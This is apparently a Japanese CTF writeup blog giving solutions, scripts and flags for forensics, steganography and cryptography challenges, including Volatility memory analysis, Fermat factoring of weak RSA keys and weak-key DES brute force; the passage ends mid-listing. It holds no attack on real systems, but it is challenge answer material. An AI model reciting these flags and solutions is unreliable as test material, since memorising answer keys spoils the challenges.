> 6

Gold: 100000
Weapon level: 7

1. sword (100 gold) (level 1)
2. bow (1000 gold) (level 3)
3. axe (2000 gold) (level 5)
4. missle launcher (10000 gold) (level 7)
5. tank (100000 gold) (level 10)

What would you like to buy? (press 0 to exit the shop): 5

tank bought

What would you like to do?
Gold: 0
Weapon level: 10

1. Defeat the gnomes (level 10)
2. Fight a dragon (level 7)
3. Raid the cyclops (level 5)
4. Plunder the pirates (level 3)
5. Go on a journey (level 1)
6. Browse the shop
7. End journey

> 1

YAYYY!!! You have defeated the gnomes and saved the villagers
Here's your flag: flag{it_was_in_fact_you_that_was_really_powerful}
flag{it_was_in_fact_you_that_was_really_powerful}

Microsooft (Forensics 100)

microsooft.docxを解凍する。展開されたsrc/oof.txtにフラグが含まれていた。

flag{oof_is_right_why_gfxdata_though}

Volatile (Forensics 125)

$ volatility -f memdump.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/memdump.raw)
                      PAE type : PAE
                           DTB : 0x185000L
                          KDBG : 0x8276fc28L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0x82770c00L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2020-04-20 21:16:55 UTC+0000
     Image local date and time : 2020-04-20 14:16:55 -0700

$ volatility -f memdump.raw --profile=Win7SP1x86_23418 pstree
Volatility Foundation Volatility Framework 2.6
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0x85282708:csrss.exe                                 300    292      9    429 2020-04-20 20:53:24 UTC+0000
 0x844a40f0:wininit.exe                               336    292      3     76 2020-04-20 20:53:30 UTC+0000
. 0x85a98030:services.exe                             428    336     13    204 2020-04-20 20:53:31 UTC+0000
.. 0x85d1b430:svchost.exe                             640    428      9    260 2020-04-20 20:53:32 UTC+0000
.. 0x85ea0bc8:wmpnetwk.exe                           3188    428     12    213 2020-04-20 21:16:14 UTC+0000
.. 0x8534e5e0:svchost.exe                            1308    428     16    362 2020-04-20 21:15:20 UTC+0000
.. 0x84dac920:svchost.exe                             884    428     35    850 2020-04-20 20:53:34 UTC+0000
.. 0x84dcf128:svchost.exe                             932    428     22    530 2020-04-20 20:53:34 UTC+0000
... 0x85e9ab08:audiodg.exe                           2940    932      6    125 2020-04-20 21:16:08 UTC+0000
.. 0x84dad888:svchost.exe                             860    428     30    597 2020-04-20 20:53:34 UTC+0000
... 0x85123478:dwm.exe                               2120    860      5     72 2020-04-20 21:15:58 UTC+0000
.. 0x85d660c8:sppsvc.exe                              820    428      7    150 2020-04-20 20:53:33 UTC+0000
.. 0x85d05030:svchost.exe                             568    428     13    368 2020-04-20 20:53:31 UTC+0000
.. 0x850427d8:SearchIndexer.                         1736    428     15    731 2020-04-20 21:15:51 UTC+0000
... 0x851413a8:SearchFilterHo                        1120   1736      6    164 2020-04-20 21:15:52 UTC+0000
... 0x85936d40:SearchProtocol                        3324   1736      7    255 2020-04-20 21:16:15 UTC+0000
... 0x85ae6b58:SearchProtocol                        1008   1736      9    440 2020-04-20 21:15:52 UTC+0000
.. 0x850a5548:svchost.exe                             976    428     12    360 2020-04-20 21:15:48 UTC+0000
.. 0x84f747f0:svchost.exe                            1016    428     26    241 2020-04-20 21:15:36 UTC+0000
.. 0x85a128a8:taskhost.exe                           2168    428     10    184 2020-04-20 21:15:59 UTC+0000
.. 0x84e26500:TrustedInstall                         1452    428      4    115 2020-04-20 21:15:21 UTC+0000
.. 0x84e45b88:spoolsv.exe                            1628    428     16    294 2020-04-20 21:15:21 UTC+0000
.. 0x8520da48:svchost.exe                            1268    428     31    475 2020-04-20 21:15:20 UTC+0000
.. 0x84e6c5f0:svchost.exe                            1656    428     22    320 2020-04-20 21:15:21 UTC+0000
. 0x85ac7b10:lsass.exe                                452    336     12    721 2020-04-20 20:53:31 UTC+0000
. 0x85aca030:lsm.exe                                  460    336     11    137 2020-04-20 20:53:31 UTC+0000
 0x8443c770:System                                      4      0     77    551 2020-04-20 20:53:23 UTC+0000
. 0x8522fc28:smss.exe                                 220      4      2     29 2020-04-20 20:53:23 UTC+0000
 0x85930500:rundll32.exe                             2316   2304      5     68 2020-04-20 21:15:59 UTC+0000
 0x85a10520:explorer.exe                             2136   2104     32    779 2020-04-20 21:15:59 UTC+0000
. 0x85a06b50:regsvr32.exe                            2436   2136      0 ------ 2020-04-20 21:16:00 UTC+0000
. 0x85ea04f0:cmd.exe                                 3460   2136      1     18 2020-04-20 21:16:21 UTC+0000
 0x8599a030:rundll32.exe                             2336   2324      5     68 2020-04-20 21:15:59 UTC+0000
 0x85898d40:winlogon.exe                              372    328      8    130 2020-04-20 20:53:31 UTC+0000
 0x85261568:csrss.exe                                 344    328      8    223 2020-04-20 20:53:30 UTC+0000
. 0x85e6bd40:conhost.exe                             3468    344      2     51 2020-04-20 21:16:21 UTC+0000
 0x859eeca0:rundll32.exe                             2292   2276      5     69 2020-04-20 21:15:59 UTC+0000

$ volatility -f memdump.raw --profile=Win7SP1x86_23418 cmdline
Volatility Foundation Volatility Framework 2.6
************************************************************************
System pid:      4
************************************************************************
smss.exe pid:    220
Command line : \SystemRoot\System32\smss.exe
************************************************************************
csrss.exe pid:    300
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
wininit.exe pid:    336
Command line : wininit.exe
************************************************************************
csrss.exe pid:    344
Command line : %SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,12288,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16
************************************************************************
winlogon.exe pid:    372
Command line : winlogon.exe
************************************************************************
services.exe pid:    428
Command line : C:\Windows\system32\services.exe
************************************************************************
lsass.exe pid:    452
Command line : C:\Windows\system32\lsass.exe
************************************************************************
lsm.exe pid:    460
Command line : C:\Windows\system32\lsm.exe
************************************************************************
svchost.exe pid:    568
Command line : C:\Windows\system32\svchost.exe -k DcomLaunch
************************************************************************
svchost.exe pid:    640
Command line : C:\Windows\system32\svchost.exe -k RPCSS
************************************************************************
sppsvc.exe pid:    820
Command line : C:\Windows\system32\sppsvc.exe
************************************************************************
svchost.exe pid:    860
Command line : C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
************************************************************************
svchost.exe pid:    884
Command line : C:\Windows\system32\svchost.exe -k netsvcs
************************************************************************
svchost.exe pid:    932
Command line : C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
************************************************************************
svchost.exe pid:   1268
Command line : C:\Windows\system32\svchost.exe -k LocalService
************************************************************************
svchost.exe pid:   1308
Command line : C:\Windows\System32\svchost.exe -k NetworkService
************************************************************************
TrustedInstall pid:   1452
Command line : C:\Windows\servicing\TrustedInstaller.exe
************************************************************************
spoolsv.exe pid:   1628
Command line : C:\Windows\System32\spoolsv.exe
************************************************************************
svchost.exe pid:   1656
Command line : C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
************************************************************************
svchost.exe pid:   1016
Command line : C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
************************************************************************
svchost.exe pid:    976
Command line : C:\Windows\System32\svchost.exe -k LocalServicePeerNet
************************************************************************
SearchIndexer. pid:   1736
Command line : C:\Windows\system32\SearchIndexer.exe /Embedding
************************************************************************
SearchProtocol pid:   1008
Command line : "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" 
************************************************************************
SearchFilterHo pid:   1120
Command line : "C:\Windows\system32\SearchFilterHost.exe" 0 504 508 516 65536 512 
************************************************************************
dwm.exe pid:   2120
Command line : "C:\Windows\system32\Dwm.exe"
************************************************************************
explorer.exe pid:   2136
Command line : C:\Windows\Explorer.EXE
************************************************************************
taskhost.exe pid:   2168
Command line : "taskhost.exe"
************************************************************************
rundll32.exe pid:   2292
Command line : C:\Windows\system32\rundll32.exe "C:\Program Files\Internet Explorer\iessetup.dll",ProcessInputFiles 
************************************************************************
rundll32.exe pid:   2316
Command line : C:\Windows\system32\rundll32.exe "C:\Program Files\Windows Media Player\wmssetup.dll",ProcessInputFiles 
************************************************************************
rundll32.exe pid:   2336
Command line : C:\Windows\system32\rundll32.exe "C:\Windows\ehome\ehssetup.dll",ProcessInputFiles 
************************************************************************
regsvr32.exe pid:   2436
************************************************************************
audiodg.exe pid:   2940
Command line : C:\Windows\system32\AUDIODG.EXE 0x840
************************************************************************
wmpnetwk.exe pid:   3188
Command line : "C:\Program Files\Windows Media Player\wmpnetwk.exe"
************************************************************************
SearchProtocol pid:   3324
Command line : "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-1009647700-157507912-1895895447-10012_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-1009647700-157507912-1895895447-10012 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"  "1"
************************************************************************
cmd.exe pid:   3460
Command line : "C:\Windows\system32\cmd.exe" 
************************************************************************
conhost.exe pid:   3468
Command line : \??\C:\Windows\system32\conhost.exe

$ volatility -f memdump.raw --profile=Win7SP1x86_23418 consoles
Volatility Foundation Volatility Framework 2.6
**************************************************
ConsoleProcess: conhost.exe Pid: 3468
Console: 0xc781c0 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: C:\Windows\system32\cmd.exe
AttachedProcess: cmd.exe Pid: 3460 Handle: 0x5c
----
CommandHistory: 0x2f0448 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 1 LastAdded: 0 LastDisplayed: 0
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5c
Cmd #0 at 0x2f4680: echo JCTF{nice_volatility_tricks_bro}
----
Screen 0x2d62d8 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]                                            
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.                 
                                                                                
C:\Users\JCTF>echo JCTF{nice_volatility_tricks_bro}                             
JCTF{nice_volatility_tricks_bro}                                                
                                                                                
C:\Users\JCTF>
JCTF{nice_volatility_tricks_bro}

Ksteg (Steganography 50)

https://github.com/lukechampine/jsteg/releasesでjstegツールを入手し、使ってみる。

>jsteg reveal luke.jpg
flag{yeast_bit_steganography_oops_another_typo}
flag{yeast_bit_steganography_oops_another_typo}

Doh (Steganography 50)

$ steghide extract -sf doh.jpg
Enter passphrase: 
wrote extracted data to "flag.txt".

steghideでパスワード空でflag.txtを抽出できた。

JCTF{an_annoyed_grunt}

Dead Swap (Steganography 100)

バイナリエディタで見てみると、\xffばかりのデータ。何か混ざっていないかと、\xffを取り除いてみると、\xfeのデータが入っていることが分かった。\xfeは固まって存在していて、8バイトごとで見ると、先頭バイトは必ず\xffなので、2進数に置き換え、文字にしてみる。フラグは文字を逆順にしたもの。

with open('deadswap', 'rb') as f:
    data = f.read()

codes = []
for i in range(0, len(data), 8):
    b = data[i:i+8]
    if '\xfe' in b:
        b = b.replace('\xff', '0')
        b = b.replace('\xfe', '1')
        codes.append(b)

flag = ''
for code in codes:
    flag += chr(int(code, 2))
flag = flag[::-1]
print flag
flag{what_are_you_doing_in_my_swap}

Docxor (Cryptography 75)

docxになると推測して、XORキーを調整しながら、復号する。

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

with open('homework', 'rb') as f:
    enc = f.read()

docx_head = 'PK\x03\x04\x14\x00\x08\x08'
key = str_xor(enc, docx_head)

flag = ''
for i in range(len(enc)):
    code = ord(enc[i]) ^ ord(key[i%len(key)])
    flag += chr(code)

with open('homework.docx', 'wb') as f:
    f.write(flag)

復号したdocxを開くと、フラグが書いてあった。

flag{xor_is_not_for_security}

Homecooked (Cryptography 100)

そのまま復号処理を実行すると、時間がかかる。a関数は素数のときに、Trueを返す。b関数は文字列として見たときに逆順でも同じときに、Trueを返す。a関数の判定部分を取り除き、次の素数をb関数で判定するように書き換える。

import base64
import gmpy2

num = 0
count = 0
cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="

def b(num):
    my_str = str(num)
    rev_str = reversed(my_str)
    if list(my_str) == list(rev_str):
       return True
    else:
       return False

cipher = base64.b64decode(cipher_b64).decode().split(',')

flag = ''
while(count < len(cipher)):
    num = gmpy2.next_prime(num)
    if (b(num)):
        flag += chr(int(cipher[count]) ^ num)
        count += 1
        if (count == 13):
            num = 50000
        if (count == 26):
            num = 500000
    else:
        pass

print flag
flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}

Twinning (Cryptography 100)

$ nc jh2i.com 50013
Generating public and private key...
Public Key in the format (e,n) is: (65537,12806964857123)
The Encrypted PIN is 5122205967777
What is the PIN?

簡単なRSA暗号。Fermat法で復号する。

import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('jh2i.com', 50013))

data = recvuntil(s, '?\n').rstrip()
print data
pub = eval(data.split('\n')[1].split(' ')[-1])
e = pub[0]
n = pub[1]
c = int(data.split('\n')[2].split(' ')[-1])

p, q = fermat(n)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
print m
s.sendall(str(m) + '\n')

data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Generating public and private key...
Public Key in the format (e,n) is: (65537,9658992683663)
The Encrypted PIN is 6453203719339
What is the PIN?
8259
Good job you won!
flag{thats_the_twinning_pin_to_win}
flag{thats_the_twinning_pin_to_win}

Ooo-la-la (Cryptography 100)

Fermat法でnを素因数分解し、復号する。

from Crypto.Util.number import *

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
e = 65537
c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983

p, q = fermat(N)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m)
print flag
flag{ooo_la_la_those_are_sexy_primes}

Unvreakable Vase (Cryptography 125)

$ echo zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30= | base64 -d
�la�{dok��z�k���n_co{�u�as_crypvoo}

base64文字列が崩れている。

$ echo -n 'flag{' | base64
ZmxhZ3s=

base64の大文字が小文字になってしまっているようだ。4文字ごとにデコードして可読文字で候補を挙げる。

def is_printable(s):
    for c in s:
        if ord(c) < 32 or ord(c) > 126:
            return False
    return True

enc = 'zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30='

for i in range(0, len(enc), 4):
    print '[+] index:', i / 4
    e = enc[i:i+4]
    for j in range(16):
        try_e = list(e)
        b = bin(j)[2:].zfill(4)
        for k in range(4):
            if b[k] == '1':
                try_e[k] = try_e[k].upper()
        dec = ''.join(try_e).decode('base64')
        if is_printable(dec):
            print '[-]', dec

実行結果は以下の通り。

[+] index: 0
[-] fla
[-] flG
[+] index: 1
[-] g{d
[-] g{J
[-] g{d
[-] g{J
[+] index: 2
[-] oes
[-] oeY
[-] oes
[-] oeY
[+] index: 3
[-] _th
[-] _tN
[-] _th
[-] _tN
[+] index: 4
[-] is_
[-] isE
[+] index: 5
[-] eve
[-] evK
[+] index: 6
[-] n_c
[-] n_I
[-] n_c
[-] n_I
[+] index: 7
[-] oun
[-] ouT
[-] oun
[-] ouT
[+] index: 8
[-] t_a
[-] t_G
[-] t_a
[-] t_G
[+] index: 9
[-] s_c
[-] s_I
[-] s_c
[-] s_I
[-] s_c
[-] s_I
[-] s_c
[-] s_I
[+] index: 10
[-] ryp
[-] ryV
[+] index: 11
[-] too
[-] toU
[-] too
[-] toU
[+] index: 12
[-] o}
[-] o}
[-] o}
[-] o}
[-] o}
[-] o}
[-] o}
[-] o}

意味が通るように選択する。

flag{does_this_even_count_as_cryptooo}

December (Cryptography 125)

flagを8の倍数の長さになるよう\x00でパディング。keyは不明。ivは"13371337"。flagをDES-OFBで暗号化。
総当たりで弱い鍵を使って、復号してみる。

from Crypto.Cipher import DES

with open('ciphertext','rb') as f:
    ct = f.read()

iv = '13371337'
keys = ['\x00\x00\x00\x00\x00\x00\x00\x00', '\x1E\x1E\x1E\x1E\x0F\x0F\x0F\x0F',
    '\xE1\xE1\xE1\xE1\xF0\xF0\xF0\xF0', '\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF']

for key in keys:
    des = DES.new(key, DES.MODE_OFB, iv)
    flag = des.decrypt(ct)
    if 'flag' in flag:
        print 'key(hex) =', key.encode('hex')
        print flag
        break

実行結果は以下の通り。

key(hex) = 1e1e1e1e0f0f0f0f
These are my snow covered dreams
This is me pretending
flag{this_is_all_i_need}
flag{this_is_all_i_need}

Raspberry (Cryptography 125)

nを素因数分解する。

$ python -m primefac 77352089398489850796806146335817822371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317: 3750978137 2589229021 3130932919 2982067987 3979951739 2265830453 2208664111 4033877203 3789130951 2508863309 2642723827 4205130337 2465499073 3510442297 3810149963 3290718047 2758626487 2214452749 2259012491 4268160257 3644712913 2372942981 2393757139 3650456981 4221911101 2947867051 3726115171 2850808189 3600488797 2543358889 4128271747 4162800959

Multi-prime RSA暗号の問題なので、その復号方法で復号する。

from Crypto.Util.number import *

def chinese_remainder(n, a):
    sum = 0
    prod = reduce(lambda a, b: a*b, n)

    for n_i, a_i in zip(n, a):
        p = prod / n_i
        sum += a_i * inverse(p, n_i) * p
    return sum % prod

n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317
e = 65537
c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681

primes = [
    3750978137, 2589229021, 3130932919, 2982067987, 3979951739, 2265830453, 
    2208664111, 4033877203, 3789130951, 2508863309, 2642723827, 4205130337,
    2465499073, 3510442297, 3810149963, 3290718047, 2758626487, 2214452749,
    2259012491, 4268160257, 3644712913, 2372942981, 2393757139, 3650456981,
    4221911101, 2947867051, 3726115171, 2850808189, 3600488797, 2543358889, 
    4128271747, 4162800959]

n_ary = []
a_ary = []
for p in primes:
    phi = p - 1
    d = inverse(e, phi)
    mk = pow(c, d, p)
    n_ary.append(p)
    a_ary.append(mk)

m = chinese_remainder(n_ary, a_ary)
flag = long_to_bytes(m)
print flag
flag{there_are_a_few_extra_berries_in_this_one}

NoobCTF 0x1 Writeup

この大会は2020/6/9 19:30(JST)~2020/6/10 14:30(JST)に開催されました。
今回もチームで参戦。結果は2490点で343チーム中25位でした。
自分で解けた問題をWriteupとして書いておきます。

WELCOME (WELCOME 10)

Discordに入ると、ORGANIZERSの1人のプロフィールにフラグの前半、AUTHORSの1人のプロフィールにフラグの後半が書いてあった。

noob{w3lc0m3_t0_n00B_CTF_Buddy}

Just For Fun (Web 120)

Get Flagボタンを押すと、以下のパラメータが付いたアドレスになる。

https://private.vanisco.in/dakaar_lo/?flag=Get+Flag

HTTP POSTメソッドでアクセスしてみる。

$ curl -X POST -d 'flag=Get+Flag' https://private.vanisco.in/dakaar_lo/
<html>
noob{G00d_hindi_Br0}
noob{G00d_hindi_Br0}

It's easy (Forensics 50)

JPGの先頭4バイトが壊れている。FF D8 FF E0に修正すると、画像が開けてフラグが書いてある。
f:id:satou-y:20200618193048j:plain

noob{1_t0ld_y0u_1ts_34sy}

Mr. Pr0xy's Gift :) (Memory Forensic 10)

flag.txtにフラグが書いてあった。

noob{Welcome_To_Memory_Forensic}

##Parent Process## (Memory Forensic 80)

Desktop Windows Managerの親プロセスIDを答える問題。

$ volatility -f image.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/image.raw)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80002c420a0L
          Number of Processors : 1
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002c43d00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2020-06-02 20:02:03 UTC+0000
     Image local date and time : 2020-06-02 16:02:03 -0400

$ volatility -f image.raw --profile=Win7SP1x64 pstree
Volatility Foundation Volatility Framework 2.6
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xfffffa80024c8910:wininit.exe                       416    352      3     74 2020-06-02 19:40:26 UTC+0000
. 0xfffffa8002c00b30:lsass.exe                        528    416      6    575 2020-06-02 19:40:26 UTC+0000
. 0xfffffa8002beead0:services.exe                     520    416      9    210 2020-06-02 19:40:26 UTC+0000
.. 0xfffffa8003c5a060:sppsvc.exe                     1920    520      4    149 2020-06-02 19:40:51 UTC+0000
.. 0xfffffa8002cbcb30:svchost.exe                     648    520     11    360 2020-06-02 19:40:26 UTC+0000
... 0xfffffa80033beb30:WmiPrvSE.exe                  1720    648     10    268 2020-06-02 19:40:40 UTC+0000
... 0xfffffa8000e0eb30:wmplayer.exe                  2312    648     21    555 2020-06-02 19:45:47 UTC+0000
... 0xfffffa80033a5060:WmiPrvSE.exe                  2252    648     11    293 2020-06-02 19:41:00 UTC+0000
... 0xfffffa8000de6060:dllhost.exe                   1512    648      9    211 2020-06-02 19:45:42 UTC+0000
.. 0xfffffa80030a0890:svchost.exe                    1068    520     19    317 2020-06-02 19:40:30 UTC+0000
.. 0xfffffa8002f1f560:svchost.exe                     856    520     15    312 2020-06-02 19:40:26 UTC+0000
... 0xfffffa8003cb7190:dwm.exe                       2512    856      3     70 2020-06-02 19:41:51 UTC+0000
.. 0xfffffa800302a740:svchost.exe                     408    520     20    396 2020-06-02 19:40:29 UTC+0000
... 0xfffffa80024fdb30:csrss.exe                      428    408     10    291 2020-06-02 19:40:26 UTC+0000
.... 0xfffffa8000f3b060:conhost.exe                  2588    428      2     50 2020-06-02 19:46:10 UTC+0000
... 0xfffffa8002bbab30:winlogon.exe                   484    408      3    111 2020-06-02 19:40:26 UTC+0000
.. 0xfffffa8002a73060:svchost.exe                    1392    520     16    250 2020-06-02 19:42:33 UTC+0000
.. 0xfffffa8001875320:taskhost.exe                    676    520      8    150 2020-06-02 19:40:51 UTC+0000
.. 0xfffffa8002fee3a0:svchost.exe                     304    520     12    536 2020-06-02 19:40:29 UTC+0000
.. 0xfffffa80031cdab0:vmtoolsd.exe                   1268    520     11    279 2020-06-02 19:40:31 UTC+0000
... 0xfffffa8002fe4060:cmd.exe                       3004   1268      0 ------ 2020-06-02 20:02:03 UTC+0000
.... 0xfffffa80010bc9e0:ipconfig.exe                 2556   3004      0 ------ 2020-06-02 20:02:03 UTC+0000
.. 0xfffffa8000db0270:svchost.exe                     920    520     14    337 2020-06-02 19:42:33 UTC+0000
.. 0xfffffa8002cf6b30:svchost.exe                     712    520      8    309 2020-06-02 19:40:26 UTC+0000
.. 0xfffffa8003083360:spoolsv.exe                    1036    520     16    274 2020-06-02 19:40:30 UTC+0000
.. 0xfffffa80031a8370:VGAuthService.                 1236    520      3     84 2020-06-02 19:40:31 UTC+0000
.. 0xfffffa8000cd4b30:SearchIndexer.                 2892    520     13    694 2020-06-02 19:41:57 UTC+0000
... 0xfffffa8000dce060:SearchProtocol                 928   2892      8    318 2020-06-02 19:56:39 UTC+0000
... 0xfffffa8000fd7060:SearchFilterHo                 748   2892      5     98 2020-06-02 19:56:40 UTC+0000
.. 0xfffffa80032adb30:svchost.exe                    1516    520      7     95 2020-06-02 19:40:34 UTC+0000
.. 0xfffffa8002d48340:dllhost.exe                    1776    520     15    196 2020-06-02 19:40:40 UTC+0000
.. 0xfffffa8002cab060:msdtc.exe                      1864    520     14    153 2020-06-02 19:40:41 UTC+0000
.. 0xfffffa8002f26b30:svchost.exe                     884    520     46   1056 2020-06-02 19:40:26 UTC+0000
.. 0xfffffa80033e9b30:WmiApSrv.exe                   1656    520      6    113 2020-06-02 19:43:04 UTC+0000
.. 0xfffffa8002d299e0:svchost.exe                     764    520     25    515 2020-06-02 19:40:26 UTC+0000
... 0xfffffa8002fd5b30:audiodg.exe                    984    764      8    144 2020-06-02 19:40:29 UTC+0000
. 0xfffffa8002c04b30:lsm.exe                          536    416     11    152 2020-06-02 19:40:26 UTC+0000
 0xfffffa800249f550:csrss.exe                         360    352      9    488 2020-06-02 19:40:24 UTC+0000
. 0xfffffa800306d760:conhost.exe                     2680    360      0 ------ 2020-06-02 20:02:03 UTC+0000
 0xfffffa8003c48060:explorer.exe                     2536   2500     42   1049 2020-06-02 19:41:51 UTC+0000
. 0xfffffa8000ce0060:notepad.exe                     1472   2536      6    236 2020-06-02 19:43:32 UTC+0000
. 0xfffffa8000b68520:spkl.exe                        1800   2536      6    249 2020-06-02 19:45:37 UTC+0000
.. 0xfffffa8000e9c380:spmm.exe                       2940   1800      1     90 2020-06-02 19:45:44 UTC+0000
. 0xfffffa8000fa7060:Sonic Visualis                  3032   2536     11    218 2020-06-02 19:45:50 UTC+0000
. 0xfffffa8001bfcb30:vm3dservice.ex                  2620   2536      2     44 2020-06-02 19:41:51 UTC+0000
. 0xfffffa8003cf4b30:vmtoolsd.exe                    2636   2536      8    154 2020-06-02 19:41:51 UTC+0000
. 0xfffffa8000ff5580:taskmgr.exe                     2296   2536      6    118 2020-06-02 19:46:20 UTC+0000
. 0xfffffa8000fef060:cmd.exe                         1396   2536      1     19 2020-06-02 19:46:10 UTC+0000
. 0xfffffa8003cf4060:sidebar.exe                     2644   2536     10    244 2020-06-02 19:41:51 UTC+0000
 0xfffffa8000b07b30:System                              4      0     90    498 2020-06-02 19:40:18 UTC+0000
. 0xfffffa8002387b30:smss.exe                         268      4      2     29 2020-06-02 19:40:18 UTC+0000
 0xfffffa8002107060:GoogleCrashHan                   2180   2156      5     97 2020-06-02 19:40:52 UTC+0000
 0xfffffa8003cdf060:GoogleCrashHan                   2188   2156      5     90 2020-06-02 19:40:52 UTC+0000

dwm.exe の親プロセスIDは856であることがわかる。

noob{856}

Malicious Process (Memory Forensic 100)

malicipusなプロセスのプロセス名を答える問題。

$ volatility -f image.raw --profile=Win7SP1x64 cmdline
Volatility Foundation Volatility Framework 2.6
************************************************************************
System pid:      4
************************************************************************
smss.exe pid:    268
Command line : \SystemRoot\System32\smss.exe
************************************************************************
csrss.exe pid:    360
